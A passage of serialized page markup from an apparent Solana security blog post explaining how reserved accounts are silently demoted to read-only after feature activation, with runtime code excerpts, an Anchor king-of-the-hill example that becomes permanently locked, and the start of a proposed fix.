message",{"type":24,"tag":930,"props":77695,"children":77696},{"style":1158},[77697],{"type":30,"value":436},{"type":24,"tag":930,"props":77699,"children":77700},{"style":1002},[77701],{"type":30,"value":77702},"is_writable_index",{"type":24,"tag":930,"props":77704,"children":77705},{"style":959},[77706],{"type":30,"value":1010},{"type":24,"tag":930,"props":77708,"children":77709},{"style":1023},[77710],{"type":30,"value":6854},{"type":24,"tag":930,"props":77712,"children":77713},{"style":959},[77714],{"type":30,"value":1054},{"type":24,"tag":930,"props":77716,"children":77717},{"class":932,"line":1169},[77718,77723,77727,77731,77735,77740,77744,77748,77752,77756,77761,77765],{"type":24,"tag":930,"props":77719,"children":77720},{"style":1158},[77721],{"type":30,"value":77722},"                    &&",{"type":24,"tag":930,"props":77724,"children":77725},{"style":1158},[77726],{"type":30,"value":15971},{"type":24,"tag":930,"props":77728,"children":77729},{"style":1023},[77730],{"type":30,"value":77534},{"type":24,"tag":930,"props":77732,"children":77733},{"style":1158},[77734],{"type":30,"value":436},{"type":24,"tag":930,"props":77736,"children":77737},{"style":1002},[77738],{"type":30,"value":77739},"contains",{"type":24,"tag":930,"props":77741,"children":77742},{"style":959},[77743],{"type":30,"value":1010},{"type":24,"tag":930,"props":77745,"children":77746},{"style":1158},[77747],{"type":30,"value":6230},{"type":24,"tag":930,"props":77749,"children":77750},{"style":1023},[77751],{"type":30,"value":71122},{"type":24,"tag":930,"props":77753,"children":77754},{"style":1158},[77755],{"type":30,"value":436},{"type":24,"tag":930,"props":77757,"children":77758},{"style":959},[77759],{"type":30,"value":77760},"account_keys[",{"type":24,"tag":930,"props":77762,"children":77763},{"style":1023},[77764],{"type":30,"value":6854},{"type":24,"tag":930,"props":77766,"children":77767},{"style":959},[77768],{"type":30,"value":58530},{"type":24,"tag":930,"props":77770,"children":77771},{"class":932,"line":1191},[77772,77776,77780,77784,77788,77793,77797,77801],{"type":24,"tag":930,"props":77773,"children":77774},{"style":1158},[77775],{"type":30,"value":77722},{"type":24,"tag":930,"props":77777,"children":77778},{"style":1158},[77779],{"type":30,"value":15971},{"type":24,"tag":930,"props":77781,"children":77782},{"style":1023},[77783],{"type":30,"value":71122},{"type":24,"tag":930,"props":77785,"children":77786},{"style":1158},[77787],{"type":30,"value":436},{"type":24,"tag":930,"props":77789,"children":77790},{"style":1002},[77791],{"type":30,"value":77792},"demote_program_id",{"type":24,"tag":930,"props":77794,"children":77795},{"style":959},[77796],{"type":30,"value":1010},{"type":24,"tag":930,"props":77798,"children":77799},{"style":1023},[77800],{"type":30,"value":6854},{"type":24,"tag":930,"props":77802,"children":77803},{"style":959},[77804],{"type":30,"value":1054},{"type":24,"tag":930,"props":77806,"children":77807},{"class":932,"line":1223},[77808],{"type":24,"tag":930,"props":77809,"children":77810},{"style":959},[77811],{"type":30,"value":77812},"            })\n",{"type":24,"tag":930,"props":77814,"children":77815},{"class":932,"line":1281},[77816,77820,77825,77829,77833,77837,77841,77845],{"type":24,"tag":930,"props":77817,"children":77818},{"style":1158},[77819],{"type":30,"value":6288},{"type":24,"tag":930,"props":77821,"children":77822},{"style":1002},[77823],{"type":30,"value":77824},"collect",{"type":24,"tag":930,"props":77826,"children":77827},{"style":1158},[77828],{"type":30,"value":6597},{"type":24,"tag":930,"props":77830,"children":77831},{"style":959},[77832],{"type":30,"value":1350},{"type":24,"tag":930,"props":77834,"children":77835},{"style":943},[77836],{"type":30,"value":20312},{"type":24,"tag":930,"props":77838,"children":77839},{"style":959},[77840],{"type":30,"value":1350},{"type":24,"tag":930,"props":77842,"children":77843},{"style":1023},[77844],{"type":30,"value":6204},{"type":24,"tag":930,"props":77846,"children":77847},{"style":959},[77848],{"type":30,"value":77849},">>();\n",{"type":24,"tag":930,"props":77851,"children":77852},{"class":932,"line":1313},[77853,77858],{"type":24,"tag":930,"props":77854,"children":77855},{"style":937},[77856],{"type":30,"value":77857},"        Self",{"type":24,"tag":930,"props":77859,"children":77860},{"style":959},[77861],{"type":30,"value":981},{"type":24,"tag":930,"props":77863,"children":77864},{"class":932,"line":1335},[77865,77870,77874,77879,77883,77888,77892,77896],{"type":24,"tag":930,"props":77866,"children":77867},{"style":1023},[77868],{"type":30,"value":77869},"            message",{"type":24,"tag":930,"props":77871,"children":77872},{"style":1158},[77873],{"type":30,"value":476},{"type":24,"tag":930,"props":77875,"children":77876},{"style":943},[77877],{"type":30,"value":77878}," Cow",{"type":24,"tag":930,"props":77880,"children":77881},{"style":1158},[77882],{"type":30,"value":6597},{"type":24,"tag":930,"props":77884,"children":77885},{"style":1002},[77886],{"type":30,"value":77887},"Owned",{"type":24,"tag":930,"props":77889,"children":77890},{"style":959},[77891],{"type":30,"value":1010},{"type":24,"tag":930,"props":77893,"children":77894},{"style":1023},[77895],{"type":30,"value":71122},{"type":24,"tag":930,"props":77897,"children":77898},{"style":959},[77899],{"type":30,"value":9848},{"type":24,"tag":930,"props":77901,"children":77902},{"class":932,"line":1376},[77903,77908],{"type":24,"tag":930,"props":77904,"children":77905},{"style":1023},[77906],{"type":30,"value":77907},"            is_writable_account_cache",{"type":24,"tag":930,"props":77909,"children":77910},{"style":959},[77911],{"type":30,"value":2832},{"type":24,"tag":930,"props":77913,"children":77914},{"class":932,"line":1418},[77915],{"type":24,"tag":930,"props":77916,"children":77917},{"style":959},[77918],{"type":30,"value":1831},{"type":24,"tag":930,"props":77920,"children":77921},{"class":932,"line":1438},[77922],{"type":24,"tag":930,"props":77923,"children":77924},{"style":959},[77925],{"type":30,"value":1840},{"type":24,"tag":930,"props":77927,"children":77928},{"class":932,"line":1479},[77929],{"type":24,"tag":930,"props":77930,"children":77931},{"style":959},[77932],{"type":30,"value":2528},{"type":24,"tag":930,"props":77934,"children":77935},{"class":932,"line":1506},[77936],{"type":24,"tag":930,"props":77937,"children":77938},{"emptyLinePlaceholder":16},[77939],{"type":30,"value":2412},{"type":24,"tag":930,"props":77941,"children":77942},{"class":932,"line":1525},[77943],{"type":24,"tag":930,"props":77944,"children":77945},{"style":1422},[77946],{"type":30,"value":77947},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":24,"tag":930,"props":77949,"children":77950},{"class":932,"line":1569},[77951,77955,77959,77964,77968,77972,77976,77980,77984,77988,77992,77996,78000,78004],{"type":24,"tag":930,"props":77952,"children":77953},{"style":937},[77954],{"type":30,"value":16797},{"type":24,"tag":930,"props":77956,"children":77957},{"style":937},[77958],{"type":30,"value":16802},{"type":24,"tag":930,"props":77960,"children":77961},{"style":1002},[77962],{"type":30,"value":77963}," demote_program_id",{"type":24,"tag":930,"props":77965,"children":77966},{"style":959},[77967],{"type":30,"value":1010},{"type":24,"tag":930,"props":77969,"children":77970},{"style":1158},[77971],{"type":30,"value":6230},{"type":24,"tag":930,"props":77973,"children":77974},{"style":937},[77975],{"type":30,"value":16820},{"type":24,"tag":930,"props":77977,"children":77978},{"style":959},[77979],{"type":30,"value":962},{"type":24,"tag":930,"props":77981,"children":77982},{"style":1023},[77983],{"type":30,"value":6854},{"type":24,"tag":930,"props":77985,"children":77986},{"style":1158},[77987],{"type":30,"value":476},{"type":24,"tag":930,"props":77989,"children":77990},{"style":943},[77991],{"type":30,"value":16838},{"type":24,"tag":930,"props":77993,"children":77994},{"style":959},[77995],{"type":30,"value":5579},{"type":24,"tag":930,"props":77997,"children":77998},{"style":1158},[77999],{"type":30,"value":16864},{"type":24,"tag":930,"props":78001,"children":78002},{"style":943},[78003],{"type":30,"value":15157},{"type":24,"tag":930,"props":78005,"children":78006},{"style":959},[78007],{"type":30,"value":981},{"type":24,"tag":930,"props":78009,"children":78010},{"class":932,"line":1592},[78011,78015,78019,78024,78028,78032,78036,78040,78044,78048,78052,78057],{"type":24,"tag":930,"props":78012,"children":78013},{"style":937},[78014],{"type":30,"value":23888},{"type":24,"tag":930,"props":78016,"children":78017},{"style":1158},[78018],{"type":30,"value":436},{"type":24,"tag":930,"props":78020,"children":78021},{"style":1002},[78022],{"type":30,"value":78023},"is_key_called_as_program",{"type":24,"tag":930,"props":78025,"children":78026},{"style":959},[78027],{"type":30,"value":1010},{"type":24,"tag":930,"props":78029,"children":78030},{"style":1023},[78031],{"type":30,"value":6854},{"type":24,"tag":930,"props":78033,"children":78034},{"style":959},[78035],{"type":30,"value":5579},{"type":24,"tag":930,"props":78037,"children":78038},{"style":1158},[78039],{"type":30,"value":5584},{"type":24,"tag":930,"props":78041,"children":78042},{"style":1158},[78043],{"type":30,"value":15971},{"type":24,"tag":930,"props":78045,"children":78046},{"style":937},[78047],{"type":30,"value":16820},{"type":24,"tag":930,"props":78049,"children":78050},{"style":1158},[78051],{"type":30,"value":436},{"type":24,"tag":930,"props":78053,"children":78054},{"style":1002},[78055],{"type":30,"value":78056},"is_upgradeable_loader_present",{"type":24,"tag":930,"props":78058,"children":78059},{"style":959},[78060],{"type":30,"value":10846},{"type":24,"tag":930,"props":78062,"children":78063},{"class":932,"line":1610},[78064],{"type":24,"tag":930,"props":78065,"children":78066},{"style":959},[78067],{"type":30,"value":2528},{"type":24,"tag":33,"props":78069,"children":78070},{},[78071],{"type":30,"value":78072},"As you can see, there are two main causes of write-demotion:",{"type":24,"tag":478,"props":78074,"children":78075},{},[78076,78088],{"type":24,"tag":100,"props":78077,"children":78078},{},[78079,78081],{"type":30,"value":78080},"The account appears in the ",{"type":24,"tag":37,"props":78082,"children":78085},{"href":78083,"rel":78084},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[41],[78086],{"type":30,"value":78087},"reserved account list",{"type":24,"tag":100,"props":78089,"children":78090},{},[78091],{"type":30,"value":78092},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":24,"tag":33,"props":78094,"children":78095},{},[78096],{"type":30,"value":78097},"The second case is generally covered by the executable check implemented previously.",{"type":24,"tag":33,"props":78099,"children":78100},{},[78101],{"type":30,"value":78102},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":24,"tag":21995,"props":78104,"children":78106},{"id":78105},"the-reserved-account-list",[78107],{"type":30,"value":78108},"The Reserved Account List",{"type":24,"tag":33,"props":78110,"children":78111},{},[78112,78114,78119],{"type":30,"value":78113},"The Solana runtime maintains a ",{"type":24,"tag":37,"props":78115,"children":78117},{"href":78083,"rel":78116},[41],[78118],{"type":30,"value":78087},{"type":30,"value":78120},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":24,"tag":33,"props":78122,"children":78123},{},[78124,78126,78133,78135,78140],{"type":30,"value":78125},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":24,"tag":37,"props":78127,"children":78130},{"href":78128,"rel":78129},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[41],[78131],{"type":30,"value":78132},"feature gate is actived",{"type":30,"value":78134},", the runtime will ",{"type":24,"tag":275,"props":78136,"children":78137},{},[78138],{"type":30,"value":78139},"automatically demote them to read-only",{"type":30,"value":78141},", even if the transaction marked them as writable.",{"type":24,"tag":920,"props":78143,"children":78145},{"className":6102,"code":78144,"language":6101,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[78146],{"type":24,"tag":156,"props":78147,"children":78148},{"__ignoreMap":7},[78149,78157,78165,78189,78243,78281,78310],{"type":24,"tag":930,"props":78150,"children":78151},{"class":932,"line":933},[78152],{"type":24,"tag":930,"props":78153,"children":78154},{"style":1422},[78155],{"type":30,"value":78156},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":24,"tag":930,"props":78158,"children":78159},{"class":932,"line":984},[78160],{"type":24,"tag":930,"props":78161,"children":78162},{"style":1422},[78163],{"type":30,"value":78164},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":24,"tag":930,"props":78166,"children":78167},{"class":932,"line":993},[78168,78172,78176,78181,78185],{"type":24,"tag":930,"props":78169,"children":78170},{"style":937},[78171],{"type":30,"value":16820},{"type":24,"tag":930,"props":78173,"children":78174},{"style":1158},[78175],{"type":30,"value":436},{"type":24,"tag":930,"props":78177,"children":78178},{"style":959},[78179],{"type":30,"value":78180},"reserved_account_keys ",{"type":24,"tag":930,"props":78182,"children":78183},{"style":1158},[78184],{"type":30,"value":1161},{"type":24,"tag":930,"props":78186,"children":78187},{"style":959},[78188],{"type":30,"value":981},{"type":24,"tag":930,"props":78190,"children":78191},{"class":932,"line":1057},[78192,78196,78200,78205,78209,78214,78218,78222,78226,78230,78234,78238],{"type":24,"tag":930,"props":78193,"children":78194},{"style":937},[78195],{"type":30,"value":6122},{"type":24,"tag":930,"props":78197,"children":78198},{"style":937},[78199],{"type":30,"value":6127},{"type":24,"tag":930,"props":78201,"children":78202},{"style":1023},[78203],{"type":30,"value":78204}," reserved_keys",{"type":24,"tag":930,"props":78206,"children":78207},{"style":1158},[78208],{"type":30,"value":6137},{"type":24,"tag":930,"props":78210,"children":78211},{"style":943},[78212],{"type":30,"value":78213}," ReservedAccountKeys",{"type":24,"tag":930,"props":78215,"children":78216},{"style":1158},[78217],{"type":30,"value":6597},{"type":24,"tag":930,"props":78219,"children":78220},{"style":1002},[78221],{"type":30,"value":18523},{"type":24,"tag":930,"props":78223,"children":78224},{"style":959},[78225],{"type":30,"value":1010},{"type":24,"tag":930,"props":78227,"children":78228},{"style":1158},[78229],{"type":30,"value":6230},{"type":24,"tag":930,"props":78231,"children":78232},{"style":937},[78233],{"type":30,"value":16820},{"type":24,"tag":930,"props":78235,"children":78236},{"style":1158},[78237],{"type":30,"value":436},{"type":24,"tag":930,"props":78239,"children":78240},{"style":959},[78241],{"type":30,"value":78242},"reserved_account_keys);\n",{"type":24,"tag":930,"props":78244,"children":78245},{"class":932,"line":1066},[78246,78251,78255,78260,78264,78268,78272,78276],{"type":24,"tag":930,"props":78247,"children":78248},{"style":1023},[78249],{"type":30,"value":78250},"    reserved_keys",{"type":24,"tag":930,"props":78252,"children":78253},{"style":1158},[78254],{"type":30,"value":436},{"type":24,"tag":930,"props":78256,"children":78257},{"style":1002},[78258],{"type":30,"value":78259},"update_active_set",{"type":24,"tag":930,"props":78261,"children":78262},{"style":959},[78263],{"type":30,"value":1010},{"type":24,"tag":930,"props":78265,"children":78266},{"style":1158},[78267],{"type":30,"value":6230},{"type":24,"tag":930,"props":78269,"children":78270},{"style":937},[78271],{"type":30,"value":16820},{"type":24,"tag":930,"props":78273,"children":78274},{"style":1158},[78275],{"type":30,"value":436},{"type":24,"tag":930,"props":78277,"children":78278},{"style":959},[78279],{"type":30,"value":78280},"feature_set);\n",{"type":24,"tag":930,"props":78282,"children":78283},{"class":932,"line":1075},[78284,78289,78293,78297,78301,78306],{"type":24,"tag":930,"props":78285,"children":78286},{"style":943},[78287],{"type":30,"value":78288},"    Arc",{"type":24,"tag":930,"props":78290,"children":78291},{"style":1158},[78292],{"type":30,"value":6597},{"type":24,"tag":930,"props":78294,"children":78295},{"style":1002},[78296],{"type":30,"value":18226},{"type":24,"tag":930,"props":78298,"children":78299},{"style":959},[78300],{"type":30,"value":1010},{"type":24,"tag":930,"props":78302,"children":78303},{"style":1023},[78304],{"type":30,"value":78305},"reserved_keys",{"type":24,"tag":930,"props":78307,"children":78308},{"style":959},[78309],{"type":30,"value":1054},{"type":24,"tag":930,"props":78311,"children":78312},{"class":932,"line":1122},[78313],{"type":24,"tag":930,"props":78314,"children":78315},{"style":959},[78316],{"type":30,"value":19679},{"type":24,"tag":21995,"props":78318,"children":78320},{"id":78319},"consequences-silent-failures-and-bricked-programs",[78321],{"type":30,"value":78322},"Consequences: Silent Failures and Bricked Programs",{"type":24,"tag":33,"props":78324,"children":78325},{},[78326],{"type":30,"value":78327},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":24,"tag":920,"props":78329,"children":78331},{"className":6102,"code":78330,"language":6101,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[78332],{"type":24,"tag":156,"props":78333,"children":78334},{"__ignoreMap":7},[78335,78350,78377,78392,78431,78438,78485,78516,78523,78538,78569,78576,78591,78622],{"type":24,"tag":930,"props":78336,"children":78337},{"class":932,"line":933},[78338,78342,78346],{"type":24,"tag":930,"props":78339,"children":78340},{"style":959},[78341],{"type":30,"value":25939},{"type":24,"tag":930,"props":78343,"children":78344},{"style":943},[78345],{"type":30,"value":25944},{"type":24,"tag":930,"props":78347,"children":78348},{"style":959},[78349],{"type":30,"value":23362},{"type":24,"tag":930,"props":78351,"children":78352},{"class":932,"line":984},[78353,78357,78361,78365,78369,78373],{"type":24,"tag":930,"props":78354,"children":78355},{"style":937},[78356],{"type":30,"value":16797},{"type":24,"tag":930,"props":78358,"children":78359},{"style":937},[78360],{"type":30,"value":24253},{"type":24,"tag":930,"props":78362,"children":78363},{"style":943},[78364],{"type":30,"value":74391},{"type":24,"tag":930,"props":78366,"children":78367},{"style":959},[78368],{"type":30,"value":26024},{"type":24,"tag":930,"props":78370,"children":78371},{"style":943},[78372],{"type":30,"value":26029},{"type":24,"tag":930,"props":78374,"children":78375},{"style":959},[78376],{"type":30,"value":10392},{"type":24,"tag":930,"props":78378,"children":78379},{"class":932,"line":993},[78380,78384,78388],{"type":24,"tag":930,"props":78381,"children":78382},{"style":959},[78383],{"type":30,"value":26231},{"type":24,"tag":930,"props":78385,"children":78386},{"style":937},[78387],{"type":30,"value":6839},{"type":24,"tag":930,"props":78389,"children":78390},{"style":959},[78391],{"type":30,"value":23362},{"type":24,"tag":930,"props":78393,"children":78394},{"class":932,"line":1057},[78395,78399,78403,78407,78411,78415,78419,78423,78427],{"type":24,"tag":930,"props":78396,"children":78397},{"style":937},[78398],{"type":30,"value":23945},{"type":24,"tag":930,"props":78400,"children":78401},{"style":1023},[78402],{"type":30,"value":74430},{"type":24,"tag":930,"props":78404,"children":78405},{"style":1158},[78406],{"type":30,"value":476},{"type":24,"tag":930,"props":78408,"children":78409},{"style":943},[78410],{"type":30,"value":26196},{"type":24,"tag":930,"props":78412,"children":78413},{"style":959},[78414],{"type":30,"value":26024},{"type":24,"tag":930,"props":78416,"children":78417},{"style":943},[78418],{"type":30,"value":26029},{"type":24,"tag":930,"props":78420,"children":78421},{"style":959},[78422],{"type":30,"value":962},{"type":24,"tag":930,"props":78424,"children":78425},{"style":943},[78426],{"type":30,"value":74455},{"type":24,"tag":930,"props":78428,"children":78429},{"style":959},[78430],{"type":30,"value":9251},{"type":24,"tag":930,"props":78432,"children":78433},{"class":932,"line":1066},[78434],{"type":24,"tag":930,"props":78435,"children":78436},{"emptyLinePlaceholder":16},[78437],{"type":30,"value":2412},{"type":24,"tag":930,"props":78439,"children":78440},{"class":932,"line":1075},[78441,78445,78449,78453,78457,78461,78465,78469,78473,78477,78481],{"type":24,"tag":930,"props":78442,"children":78443},{"style":959},[78444],{"type":30,"value":26231},{"type":24,"tag":930,"props":78446,"children":78447},{"style":937},[78448],{"type":30,"value":6839},{"type":24,"tag":930,"props":78450,"children":78451},{"style":959},[78452],{"type":30,"value":74490},{"type":24,"tag":930,"props":78454,"children":78455},{"style":1158},[78456],{"type":30,"value":1161},{"type":24,"tag":930,"props":78458,"children":78459},{"style":959},[78460],{"type":30,"value":74499},{"type":24,"tag":930,"props":78462,"children":78463},{"style":1158},[78464],{"type":30,"value":436},{"type":24,"tag":930,"props":78466,"children":78467},{"style":959},[78468],{"type":30,"value":74508},{"type":24,"tag":930,"props":78470,"children":78471},{"style":1158},[78472],{"type":30,"value":1239},{"type":24,"tag":930,"props":78474,"children":78475},{"style":959},[78476],{"type":30,"value":74430},{"type":24,"tag":930,"props":78478,"children":78479},{"style":1158},[78480],{"type":30,"value":436},{"type":24,"tag":930,"props":78482,"children":78483},{"style":959},[78484],{"type":30,"value":74525},{"type":24,"tag":930,"props":78486,"children":78487},{"class":932,"line":1122},[78488,78492,78496,78500,78504,78508,78512],{"type":24,"tag":930,"props":78489,"children":78490},{"style":937},[78491],{"type":30,"value":23945},{"type":24,"tag":930,"props":78493,"children":78494},{"style":1023},[78495],{"type":30,"value":74499},{"type":24,"tag":930,"props":78497,"children":78498},{"style":1158},[78499],{"type":30,"value":476},{"type":24,"tag":930,"props":78501,"children":78502},{"style":943},[78503],{"type":30,"value":28490},{"type":24,"tag":930,"props":78505,"children":78506},{"style":959},[78507],{"type":30,"value":26024},{"type":24,"tag":930,"props":78509,"children":78510},{"style":943},[78511],{"type":30,"value":26029},{"type":24,"tag":930,"props":78513,"children":78514},{"style":959},[78515],{"type":30,"value":9251},{"type":24,"tag":930,"props":78517,"children":78518},{"class":932,"line":1131},[78519],{"type":24,"tag":930,"props":78520,"children":78521},{"emptyLinePlaceholder":16},[78522],{"type":30,"value":2412},{"type":24,"tag":930,"props":78524,"children":78525},{"class":932,"line":1144},[78526,78530,78534],{"type":24,"tag":930,"props":78527,"children":78528},{"style":959},[78529],{"type":30,"value":26231},{"type":24,"tag":930,"props":78531,"children":78532},{"style":937},[78533],{"type":30,"value":6839},{"type":24,"tag":930,"props":78535,"children":78536},{"style":959},[78537],{"type":30,"value":23362},{"type":24,"tag":930,"props":78539,"children":78540},{"class":932,"line":1169},[78541,78545,78549,78553,78557,78561,78565],{"type":24,"tag":930,"props":78542,"children":78543},{"style":937},[78544],{"type":30,"value":23945},{"type":24,"tag":930,"props":78546,"children":78547},{"style":1023},[78548],{"type":30,"value":74598},{"type":24,"tag":930,"props":78550,"children":78551},{"style":1158},[78552],{"type":30,"value":476},{"type":24,"tag":930,"props":78554,"children":78555},{"style":943},[78556],{"type":30,"value":28490},{"type":24,"tag":930,"props":78558,"children":78559},{"style":959},[78560],{"type":30,"value":26024},{"type":24,"tag":930,"props":78562,"children":78563},{"style":943},[78564],{"type":30,"value":26029},{"type":24,"tag":930,"props":78566,"children":78567},{"style":959},[78568],{"type":30,"value":9251},{"type":24,"tag":930,"props":78570,"children":78571},{"class":932,"line":1191},[78572],{"type":24,"tag":930,"props":78573,"children":78574},{"emptyLinePlaceholder":16},[78575],{"type":30,"value":2412},{"type":24,"tag":930,"props":78577,"children":78578},{"class":932,"line":1223},[78579,78583,78587],{"type":24,"tag":930,"props":78580,"children":78581},{"style":959},[78582],{"type":30,"value":26231},{"type":24,"tag":930,"props":78584,"children":78585},{"style":937},[78586],{"type":30,"value":6839},{"type":24,"tag":930,"props":78588,"children":78589},{"style":959},[78590],{"type":30,"value":23362},{"type":24,"tag":930,"props":78592,"children":78593},{"class":932,"line":1281},[78594,78598,78602,78606,78610,78614,78618],{"type":24,"tag":930,"props":78595,"children":78596},{"style":937},[78597],{"type":30,"value":23945},{"type":24,"tag":930,"props":78599,"children":78600},{"style":1023},[78601],{"type":30,"value":45329},{"type":24,"tag":930,"props":78603,"children":78604},{"style":1158},[78605],{"type":30,"value":476},{"type":24,"tag":930,"props":78607,"children":78608},{"style":943},[78609],{"type":30,"value":26260},{"type":24,"tag":930,"props":78611,"children":78612},{"style":959},[78613],{"type":30,"value":26024},{"type":24,"tag":930,"props":78615,"children":78616},{"style":943},[78617],{"type":30,"value":26029},{"type":24,"tag":930,"props":78619,"children":78620},{"style":959},[78621],{"type":30,"value":9251},{"type":24,"tag":930,"props":78623,"children":78624},{"class":932,"line":1313},[78625],{"type":24,"tag":930,"props":78626,"children":78627},{"style":959},[78628],{"type":30,"value":2528},{"type":24,"tag":33,"props":78630,"children":78631},{},[78632,78634,78640,78642,78648],{"type":30,"value":78633},"This works fine — until one day, ",{"type":24,"tag":156,"props":78635,"children":78637},{"className":78636},[],[78638],{"type":30,"value":78639},"old_king",{"type":30,"value":78641}," is silently demoted. Suddenly, the ",{"type":24,"tag":156,"props":78643,"children":78645},{"className":78644},[],[78646],{"type":30,"value":78647},"#[account(mut)]",{"type":30,"value":78649}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":24,"tag":21995,"props":78651,"children":78653},{"id":78652},"real-world-example-write-demotion-with-secp256r1_program",[78654,78656],{"type":30,"value":78655},"Real-World Example: Write-Demotion with ",{"type":24,"tag":156,"props":78657,"children":78659},{"className":78658},[],[78660],{"type":30,"value":78661},"secp256r1_program",{"type":24,"tag":33,"props":78663,"children":78664},{},[78665,78667,78672],{"type":30,"value":78666},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":24,"tag":156,"props":78668,"children":78670},{"className":78669},[],[78671],{"type":30,"value":78661},{"type":30,"value":78673},", a precompiled program gated behind a feature flag:",{"type":24,"tag":920,"props":78675,"children":78677},{"className":6102,"code":78676,"language":6101,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[78678],{"type":24,"tag":156,"props":78679,"children":78680},{"__ignoreMap":7},[78681,78702,78722,78751],{"type":24,"tag":930,"props":78682,"children":78683},{"class":932,"line":933},[78684,78689,78693,78698],{"type":24,"tag":930,"props":78685,"children":78686},{"style":943},[78687],{"type":30,"value":78688},"ReservedAccount",{"type":24,"tag":930,"props":78690,"children":78691},{"style":1158},[78692],{"type":30,"value":6597},{"type":24,"tag":930,"props":78694,"children":78695},{"style":1002},[78696],{"type":30,"value":78697},"new_pending",{"type":24,"tag":930,"props":78699,"children":78700},{"style":959},[78701],{"type":30,"value":2814},{"type":24,"tag":930,"props":78703,"children":78704},{"class":932,"line":984},[78705,78710,78714,78718],{"type":24,"tag":930,"props":78706,"children":78707},{"style":959},[78708],{"type":30,"value":78709},"    secp256r1_program",{"type":24,"tag":930,"props":78711,"children":78712},{"style":1158},[78713],{"type":30,"value":6597},{"type":24,"tag":930,"props":78715,"children":78716},{"style":1002},[78717],{"type":30,"value":6602},{"type":24,"tag":930,"props":78719,"children":78720},{"style":959},[78721],{"type":30,"value":6607},{"type":24,"tag":930,"props":78723,"children":78724},{"class":932,"line":993},[78725,78730,78734,78739,78743,78747],{"type":24,"tag":930,"props":78726,"children":78727},{"style":959},[78728],{"type":30,"value":78729},"    feature_set",{"type":24,"tag":930,"props":78731,"children":78732},{"style":1158},[78733],{"type":30,"value":6597},{"type":24,"tag":930,"props":78735,"children":78736},{"style":959},[78737],{"type":30,"value":78738},"enable_secp256r1_precompile",{"type":24,"tag":930,"props":78740,"children":78741},{"style":1158},[78742],{"type":30,"value":6597},{"type":24,"tag":930,"props":78744,"children":78745},{"style":1002},[78746],{"type":30,"value":6602},{"type":24,"tag":930,"props":78748,"children":78749},{"style":959},[78750],{"type":30,"value":6607},{"type":24,"tag":930,"props":78752,"children":78753},{"class":932,"line":1057},[78754],{"type":24,"tag":930,"props":78755,"children":78756},{"style":959},[78757],{"type":30,"value":1054},{"type":24,"tag":33,"props":78759,"children":78760},{},[78761,78763,78768,78770,78776],{"type":30,"value":78762},"Before the ",{"type":24,"tag":156,"props":78764,"children":78766},{"className":78765},[],[78767],{"type":30,"value":78738},{"type":30,"value":78769}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":24,"tag":156,"props":78771,"children":78773},{"className":78772},[],[78774],{"type":30,"value":78775},"secp256r1_program::id()",{"type":30,"value":78777}," as the king in a contract.",{"type":24,"tag":33,"props":78779,"children":78780},{},[78781,78783,78788],{"type":30,"value":78782},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":24,"tag":156,"props":78784,"children":78786},{"className":78785},[],[78787],{"type":30,"value":78775},{"type":30,"value":78789}," becomes the eternal king, and no one can dethrone it.",{"type":24,"tag":21995,"props":78791,"children":78793},{"id":78792},"fix-3-preventing-write-demotion-pitfalls",[78794],{"type":30,"value":78795},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":24,"tag":33,"props":78797,"children":78798},{},[78799,78801,78806],{"type":30,"value":78800},"Alright, let’s try to fix this ",{"type":24,"tag":6032,"props":78802,"children":78803},{},[78804],{"type":30,"value":78805},"yet another",{"type":30,"value":78807}," edge case — and hopefully close the book on it.",{"type":24,"tag":21995,"props":78809,"children":78811},{"id":78810},"attempt-1-block-known-reserved-accounts",[78812],{"type":30,"value":78813},"Attempt 1: Block Known Reserved Accounts",{"type":24,"tag":33,"props":78815,"children":78816},{},[78817],{"type":30,"value":78818},"One naive solution is to reject any known reserved account, for example:",{"type":24,"tag":920,"props":78820,"children":78822},{"className":43448,"code":78821,"language":43450,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[78823],{"type":24,"tag":156,"props":78824,"children":78825},{"__ignoreMap":7},[78826,78834],{"type":24,"tag":930,"props":78827,"children":78828},{"class":932,"line":933},[78829],{"type":24,"tag":930,"props":78830,"children":78831},{"style":959},[78832],{"type":30,"value":78833},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> 